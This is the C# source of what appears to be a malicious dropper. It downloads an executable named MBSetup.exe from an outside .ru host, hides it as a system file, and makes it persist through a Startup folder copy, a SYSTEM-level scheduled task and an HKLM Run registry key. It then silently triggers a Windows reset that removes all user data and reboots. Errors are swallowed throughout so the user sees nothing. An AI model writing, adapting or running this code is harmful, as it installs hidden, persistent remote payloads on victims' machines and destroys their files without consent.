using System;
using System.IO;
using System.Net.Http;
using System.Threading.Tasks;
using System.Diagnostics;
using Microsoft.Win32;
using System.Security.Principal;
class Program
{
static async Task Main()
{
try
{
string downloadUrl = "http://a1107225.xsph.ru/MBSetup.exe"; // 🔥
Replace with the actual URL
string exePath = Path.Combine(Path.GetTempPath(), "MBSetup.exe");
string configPath = Path.Combine(AppDomain.CurrentDomain.BaseDirectory,
"resetconfig.xml");
string scriptPath = Path.Combine(AppDomain.CurrentDomain.BaseDirectory,
"reset_script.bat");
string startupPath =
Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Startup),
"MyResetTool.exe");
// Step 1: Create the resetconfig.xml if it doesn't already exist
CreateConfig(configPath);
// Step 2: Create a batch script that triggers the reset
CreateResetScript(scriptPath);
// Step 3: Download the reset EXE if it doesn't already exist
if (!File.Exists(exePath))
{
await DownloadFile(downloadUrl, exePath);
}
// Step 4: Hide the program from user
HideProgram(exePath);
// Step 5: Copy EXE to startup to ensure it runs after reboot
(fallback)
File.Copy(exePath, startupPath, true);
// Step 6: Create a Task Scheduler entry to launch EXE after reset
CreateTaskSchedulerEntry(exePath);
// Step 7: Modify registry to ensure persistence
CreateRegistryEntry(exePath);
// Step 8: Set the program to run as SYSTEM so it can't be easily
disabled
SetProgramAsSystem();
// Step 9: Optionally trigger push-button reset by running the batch
script
TriggerResetScript(scriptPath);
}
catch (Exception)
{
// Fail silently in case of issues
}
}
static void CreateConfig(string path)
{
if (!File.Exists(path))
{
string config = @"<?xml version=""1.0"" encoding=""utf-8""?>
<Reset>
<ResetType>RemoveAll</ResetType>
<ProvisioningPackagePath></ProvisioningPackagePath>
<ScheduleReboot>true</ScheduleReboot>
</Reset>";
File.WriteAllText(path, config);
}
}
static void CreateResetScript(string path)
{
if (!File.Exists(path))
{
string script = @"echo off
pushd C:\Windows\System32
start /wait reset.exe /f /config ""C:\Path\To\resetconfig.xml"" /reboot";
File.WriteAllText(path, script);
}
}
static async Task DownloadFile(string url, string destinationPath)
{
using (HttpClient client = new HttpClient())
{
byte[] data = await client.GetByteArrayAsync(url);
await File.WriteAllBytesAsync(destinationPath, data);
}
}
static void CreateTaskSchedulerEntry(string exePath)
{
try
{
string taskName = "MyResetToolTask";
string taskSchedulerCmd = $"/C schtasks /create /tn \"{taskName}\"
/tr \"{exePath}\" /sc onlogon /f /ru SYSTEM";
ProcessStartInfo startInfo = new ProcessStartInfo("cmd.exe",
taskSchedulerCmd)
{
CreateNoWindow = true,
UseShellExecute = false
};
Process process = Process.Start(startInfo);
process.WaitForExit();
}
catch (Exception)
{
// Fail silently
}
}
static void CreateRegistryEntry(string exePath)
{
try
{
string key = @"SOFTWARE\Microsoft\Windows\CurrentVersion\Run";
string valueName = "MyResetTool";
using (RegistryKey registryKey = Registry.LocalMachine.OpenSubKey(key,
true))
{
if (registryKey != null)
{
registryKey.SetValue(valueName, exePath);
}
}
}
catch (Exception)
{
// Fail silently
}
}
static void SetProgramAsSystem()
{
try
{
string exePath = Path.Combine(Path.GetTempPath(), "systemreset.exe");
string taskSchedulerCmd = $"/C schtasks /create /tn \"MyResetToolTask\"
/tr \"{exePath}\" /sc onlogon /f /ru SYSTEM";
ProcessStartInfo startInfo = new ProcessStartInfo("cmd.exe",
taskSchedulerCmd)
{
CreateNoWindow = true,
UseShellExecute = false
};
Process process = Process.Start(startInfo);
process.WaitForExit();
}
catch (Exception)
{
// Fail silently
}
}
static void TriggerResetScript(string scriptPath)
{
try
{
ProcessStartInfo startInfo = new ProcessStartInfo("cmd.exe",
$"/C \"{scriptPath}\"")
{
CreateNoWindow = true,
UseShellExecute = false
};
Process.Start(startInfo);
}
catch (Exception)
{
// Fail silently
}
}
static void HideProgram(string exePath)
{
try
{
File.SetAttributes(exePath, FileAttributes.Hidden |
FileAttributes.System);
}
catch (Exception)
{
// Fail silently
}
}
}